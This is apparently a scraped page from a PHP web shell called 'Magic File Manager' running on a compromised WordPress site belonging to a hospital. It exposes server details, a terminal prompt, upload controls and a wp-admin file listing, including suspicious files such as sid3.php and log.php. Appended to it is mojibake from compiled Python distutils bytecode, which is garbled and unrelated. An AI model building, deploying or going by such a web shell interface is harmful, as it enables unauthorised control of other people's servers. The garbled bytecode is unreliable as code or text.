✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
3 \¹Jã@srdZddlZddlZddlZddlmZddlmZmZm Z m Z m Z ddlm Z Gdd„dƒZ Gdd „d e ƒZdS) ztdistutils.cmd Provides the Command class, the base class for the command classes in the distutils.command package. éN)ÚDistutilsOptionError)ÚutilÚdir_utilÚ file_utilÚ archive_utilÚdep_util)Úlogc@s"eZdZdZgZdd„Zdd„Zdd„Zdd „Zd d „Z dCdd„Z dd„Z dDdd„Z dd„Z dEdd„ZdFdd„Zdd„ZdGdd„Zdd „Zd!d"„Zd#d$„Zd%d&„ZdHd'd(„ZdId*d+„Zd,d-„Zd.d/„Zd0d1„ZdJd2d3„ZdKd5d6„ZdLd7d8„ZdMd9d:„ZdNd;d<„ZdOd=d>„Z dPd?d@„Z!dQdAdB„Z"d S)RÚCommanda}Abstract base class for defining command classes, the "worker bees" of the Distutils. A useful analogy for command classes is to think of them as subroutines with local variables called "options". The options are "declared" in 'initialize_options()' and "defined" (given their final values, aka "finalized") in 'finalize_options()', both of which must be defined by every command class. The distinction between the two is necessary because option values might come from the outside world (command line, config file, ...), and any options dependent on other options must be computed *after* these outside influences have been processed -- hence 'finalize_options()'. The "body" of the subroutine, where it does all its work based on the values of its options, is the 'run()' method, which must also be implemented by every command class. cCsbddlm}t||ƒstdƒ‚|jtkr0tdƒ‚||_|jƒd|_ |j |_ d|_ d|_ d|_ dS)zÞCreate and initialize a new Command object. Most importantly, invokes the 'initialize_options()' method, which is the real initializer and depends on the actual command being instantiated. r)Ú Distributionz$dist must be a Distribution instancezCommand is an abstract classN)Zdistutils.distr Ú isinstanceÚ TypeErrorÚ __class__r Ú RuntimeErrorÚ distributionÚinitialize_optionsZ_dry_runÚverboseÚforceÚhelpÚ finalized)ÚselfZdistr ©rú%/usr/lib64/python3.6/distutils/cmd.pyÚ__init__/s    zCommand.__init__cCs<|dkr0t|d|ƒ}|dkr*t|j|ƒS|Snt|ƒ‚dS)NÚdry_runÚ_)ÚgetattrrÚAttributeError)rÚattrZmyvalrrrÚ __getattr___s  zCommand.__getattr__cCs|js|jƒd|_dS)Né)rÚfinalize_options)rrrrÚensure_finalizediszCommand.ensure_finalizedcCstd|jƒ‚dS)aÙSet default values for all the options that this command supports. Note that these defaults may be overridden by other commands, by the setup script, by config files, or by the command-line. Thus, this is not the place to code dependencies between options; generally, 'initialize_options()' implementations are just a bunch of "self.foo = None" assignments. This method must be implemented by all command classes. z,abstract method -- subclass %s must overrideN)rr )rrrrr{s zCommand.initialize_optionscCstd|jƒ‚dS)aSet final values for all the options that this command supports. This is always called as late as possible, ie. after any option assignments from the command-line or from other commands have been done. Thus, this is the place to code option dependencies: if 'foo' depends on 'bar', then it is safe to set 'foo' from 'bar' as long as 'foo' still has the same value it was assigned in 'initialize_options()'. This method must be implemented by all command classes. z,abstract method -- subclass %s must overrideN)rr )rrrrr ˆs zCommand.finalize_optionsNÚcCsžddlm}|dkr d|jƒ}|j||tjd�|d}x\|jD]R\}}}|j|ƒ}|d dkrp|dd …}t||ƒ}|j|d||ftjd�qDWdS) Nr)Ú longopt_xlatezcommand options for '%s':)Úlevelz rú=z%s = %séÿÿÿÿr&) Zdistutils.fancy_getoptr#Úget_command_nameÚannouncerÚINFOÚ user_optionsÚ translater)rÚheaderÚindentr#ÚoptionrÚvaluerrrÚ dump_options—s      zCommand.dump_optionscCstd|jƒ‚dS)a¾A command's raison d'etre: carry out the action it exists to perform, controlled by the options initialized in 'initialize_options()', customized by other commands, the setup script, the command-line, and config files, and finalized in 'finalize_options()'. All terminal output and filesystem interaction should be done by 'run()'. This method must be implemented by all command classes. z,abstract method -- subclass %s must overrideN)rr )rrrrÚrun¥s z Command.runrcCstj||ƒdS)zmIf the current verbosity level is of greater than or equal to 'level' print 'msg' to stdout. N)r)rÚmsgr$rrrr(²szCommand.announcecCs&ddlm}|r"t|ƒtjjƒdS)z~Print 'msg' to stdout if the global DEBUG (taken from the DISTUTILS_DEBUG environment variable) flag is true. r)ÚDEBUGN)Zdistutils.debugr3ÚprintÚsysÚstdoutÚflush)rr2r3rrrÚ debug_print¸s zCommand.debug_printcCsBt||ƒ}|dkr"t|||ƒ|St|tƒs>td|||fƒ‚|S)Nz'%s' must be a %s (got `%s`))rÚsetattrr Ústrr)rr.ÚwhatÚdefaultÚvalrrrÚ_ensure_stringlikeÏs   zCommand._ensure_stringlikecCs|j|d|ƒdS)zWEnsure that 'option' is a string; if not defined, set it to 'default'. ÚstringN)r>)rr.r<rrrÚ ensure_stringÙszCommand.ensure_stringcCspt||ƒ}|dkrdSt|tƒr6t||tjd|ƒƒn6t|tƒrTtdd„|Dƒƒ}nd}|sltd||fƒ‚dS)zîEnsure that 'option' is a list of strings. If 'option' is currently a string, we split it either on /,\s*/ or /\s+/, so "foo bar baz", "foo,bar,baz", and "foo, bar baz" all become ["foo", "bar", "baz"]. Nz,\s*|\s+css|]}t|tƒVqdS)N)r r:)Ú.0Úvrrrú ìsz-Command.ensure_string_list..Fz''%s' must be a list of strings (got %r)) rr r:r9ÚreÚsplitÚlistÚallr)rr.r=ÚokrrrÚensure_string_listßs   zCommand.ensure_string_listcCs8|j|||ƒ}|dk r4||ƒ r4td|||fƒ‚dS)Nzerror in '%s' option: )r>r)rr.Ztesterr;Z error_fmtr<r=rrrÚ_ensure_tested_stringôszCommand._ensure_tested_stringcCs|j|tjjddƒdS)z5Ensure that 'option' is the name of an existing file.Úfilenamez$'%s' does not exist or is not a fileN)rJÚosÚpathÚisfile)rr.rrrÚensure_filenameûs zCommand.ensure_filenamecCs|j|tjjddƒdS)Nzdirectory namez)'%s' does not exist or is not a directory)rJrLrMÚisdir)rr.rrrÚensure_dirnames zCommand.ensure_dirnamecCst|dƒr|jS|jjSdS)NÚ command_name)ÚhasattrrRr Ú__name__)rrrrr' s zCommand.get_command_namecGsJ|jj|ƒ}|jƒx0|D](\}}t||ƒdkrt||t||ƒƒqWdS)a>Set the values of any "undefined" options from corresponding option values in some other command object. "Undefined" here means "is None", which is the convention used to indicate that an option has not been changed between 'initialize_options()' and 'finalize_options()'. Usually called from 'finalize_options()' for options that depend on some other command rather than another option of the same command. 'src_cmd' is the other command from which option values will be taken (a command object will be created for it if necessary); the remaining arguments are '(src_option,dst_option)' tuples which mean "take the value of 'src_option' in the 'src_cmd' command object, and copy it to 'dst_option' in the current command object". N)rÚget_command_objr!rr9)rZsrc_cmdZ option_pairsZ src_cmd_objZ src_optionZ dst_optionrrrÚset_undefined_optionss  zCommand.set_undefined_optionscCs|jj||ƒ}|jƒ|S)zûWrapper around Distribution's 'get_command_obj()' method: find (create if necessary and 'create' is true) the command object for 'command', call its 'ensure_finalized()' method, and return the finalized command object. )rrUr!)rÚcommandZcreateZcmd_objrrrÚget_finalized_command$szCommand.get_finalized_commandrcCs|jj||ƒS)N)rÚreinitialize_command)rrWZreinit_subcommandsrrrrY0szCommand.reinitialize_commandcCs|jj|ƒdS)zÂRun some other command: uses the 'run_command()' method of Distribution, which creates and finalizes the command object if necessary and then invokes its 'run()' method. N)rÚ run_command)rrWrrrrZ4szCommand.run_commandcCs6g}x,|jD]"\}}|dks$||ƒr |j|ƒq W|S)akDetermine the sub-commands that are relevant in the current distribution (ie., that need to be run). This is based on the 'sub_commands' class attribute: each tuple in that list may include a method that we call to determine if the subcommand needs to be run for the current distribution. Return a list of command names. N)Ú sub_commandsÚappend)rZcommandsZcmd_nameÚmethodrrrÚget_sub_commands;s zCommand.get_sub_commandscCstjd|jƒ|ƒdS)Nzwarning: %s: %s )rÚwarnr')rr2rrrr_Ksz Command.warncCstj||||jd�dS)N)r)rÚexecuter)rÚfuncÚargsr2r$rrrr`NszCommand.executeéÿcCstj|||jd�dS)N)r)rÚmkpathr)rÚnameÚmoderrrrdQszCommand.mkpathc Cstj|||||j ||jd�S)zÑCopy a file respecting verbose, dry-run and force flags. (The former two default to whatever is in the Distribution object, and the latter defaults to false for commands that don't define it.))r)rÚ copy_filerr)rÚinfileÚoutfileÚ preserve_modeÚpreserve_timesÚlinkr$rrrrgTs  zCommand.copy_filec Cstj||||||j |jd�S)z\Copy an entire directory tree respecting verbose, dry-run, and force flags. )r)rÚ copy_treerr)rrhrirjrkZpreserve_symlinksr$rrrrm]s zCommand.copy_treecCstj|||jd�S)z$Move a file respecting dry-run flag.)r)rÚ move_filer)rÚsrcÚdstr$rrrrnfszCommand.move_filecCs ddlm}||||jd�dS)z2Spawn an external command respecting dry-run flag.r)Úspawn)rN)Zdistutils.spawnrqr)rÚcmdZ search_pathr$rqrrrrqjs z Command.spawnc Cstj|||||j||d�S)N)rÚownerÚgroup)rÚ make_archiver)rZ base_nameÚformatZroot_dirZbase_dirrsrtrrrruos zCommand.make_archivecCs„|dkrd|}t|tƒr"|f}nt|ttfƒs8tdƒ‚|dkrRd|dj|ƒf}|jsdtj||ƒrv|j ||||ƒn t j |ƒdS)aÌSpecial case of 'execute()' for operations that process one or more input files and generate one output file. Works just like 'execute()', except the operation is skipped and a different message printed if 'outfile' already exists and is newer than all files listed in 'infiles'. If the command defined 'self.force', and it is true, then the command is unconditionally run -- does no timestamp checks. Nzskipping %s (inputs unchanged)z9'infiles' must be a string, or a list or tuple of stringszgenerating %s from %sz, ) r r:rFÚtupler ÚjoinrrZ newer_groupr`rÚdebug)rZinfilesrirarbZexec_msgZskip_msgr$rrrÚ make_fileus  zCommand.make_file)Nr")r)N)N)N)r)r)Nr)rc)rrNr)rrrr)r)rr)NNNN)NNr)#rTÚ __module__Ú __qualname__Ú__doc__r[rrr!rr r0r1r(r8r>r@rIrJrOrQr'rVrXrYrZr^r_r`rdrgrmrnrqrurzrrrrr sF0              r c@s6eZdZdZdgZdd„Zdd„Zd d „Zd d „Zd S)Ú install_miscz{Common base class for installing some files in a subdirectory. Currently used by install_data and install_scripts. ú install-dir=Údú!directory to install the files tocCsd|_g|_dS)N)Ú install_dirÚoutfiles)rrrrr¡szinstall_misc.initialize_optionscCs|jd|dfƒdS)NZinstallr‚)rV)rÚdirnamerrrÚ_install_dir_from¥szinstall_misc._install_dir_fromcCsRg|_|sdS|j|jƒx2|D]*}|j||jƒ|jjtjj|j|ƒƒq WdS)N)rƒrdr‚rgr\rLrMrx)rZfilelistÚfrrrÚ _copy_files¨s  zinstall_misc._copy_filescCs|jS)N)rƒ)rrrrÚ get_outputs±szinstall_misc.get_outputsN)rr€r�) rTr{r|r}r*rr…r‡rˆrrrrr~šs  r~)r}r5rLrDZdistutils.errorsrZ distutilsrrrrrrr r~rrrrÚs